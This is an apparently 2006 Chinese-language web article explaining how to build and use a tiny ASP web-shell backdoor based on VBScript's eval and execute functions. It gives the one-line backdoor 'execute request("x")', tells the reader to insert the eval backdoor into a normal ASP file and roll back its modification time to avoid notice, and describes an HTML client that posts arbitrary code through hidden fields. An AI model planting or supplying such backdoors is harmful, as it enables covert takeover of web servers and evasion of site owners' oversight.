当前位置: 电脑软硬件应用网 > 电脑学院 > 网络安全 > 正文 |
|
|||
更小巧更强悍—Eval版ASP木马原理解析 | |||
2006-7-21 18:51:34 文/佚名 出处:电脑软硬件应用网 | |||
嗯,先来说说eval后门的原理和使用方法,不会的听仔细啦。偶们知道在asp里面有个execute函数专门用来执行asp代码,这个就类似于Javascript里面的eval函数。所以execute就可以拿来做成一句话后门:execute request("x")。不过,当POST的参数x为空时execute函数会出错,所以你得加一句容错语句才是。其实VBScript里面也有eval函数的,不知道能不能拿来用,嗯,看看它功能先: Eval函数 计算一个表达式的值并返回结果。 [result = ] Eval(expression) 参数 result 可选项。 是一个变量,用于接受返回的结果。如果未指定结果,应考虑使用 Execute 语句代替。 expression 必选项。可以是包含任何有效VBScript表达式的字符串。 小提示: 在VBScript 中,x = y可以有两种解释。第一种方式是赋值语句,将y的值赋予x。第二种解释是测试x 和y是否相等。如果相等,result为True;否则result为False。Eval方法总是采用第二种解释,而Execute语句总是采用第一种。 注意,参数expression“可以是包含任何有效VBScript表达式的字符串”。呵呵,那不就是暗示我们eval能执行任意代码嘛。不过看那个说明,eval总是把赋值语句解释成判断句,岂不是不能拿来赋值。呵呵,不要紧,如果我们拿eval来执行execute再由execute执行任意代码呢?呵呵,eval后门诞生了! 同execute相比,eval有个好处就是当参数为空不会出错,所以迄今为止最短的ASP后门就是“”。数数吧,是不是比以前的都短啊,呵呵。 把eval函数插入到一正常的ASP文件,你的后门就留好了(如果能够把文件最后修改时间改回去就更好了)。现在可以执行任意代码了,当然,代码需要你用客户端POST上去。 客户端用网页实现很是方便。海阳顶端有个eval客户端,好像是用session保存代码然后执行,不过我试了几次都不行,唉,还是自己写一个吧。 我做的这个客户端与海阳的不同,是由各个功能分别构成,每个功能使用一个htm页面,对应一段代码,放在网页的隐藏域。参考了冰狐浪子那个微型ASP后门客户端的网页结构,感谢之。 先前不是说了,我们得用eval执行execute再由execute执行代码。所以隐藏域的内容类似于“execute("response.write(""Hello , World !""):response.write("" "")”——注意在引号之中的引号得双写;而且execute中的字符可以使用回车换行也可以用冒号代替回车换行。 这样子还不够,我们还要“斩头去尾”。斩头呢就是把我们的后门代码执行之前的数据清空,去尾呢就是把后门执行代码之后的数据清空,不能让其他无用数据影响我们看回显嘛。这个分别用response.clear和response.end来完成。Ok,经过一番斩头去尾,我们的隐藏域就成了:“resposne.clear:execute("response.write(""Hello, World!""):response.write("" ""):response.end")”。 |
|||
关于45IT | About 45IT | 联系方式 | 版权声明 | 网站导航 | |
Copyright © 2003-2011 45IT. All Rights Reserved 浙ICP备09049068号 |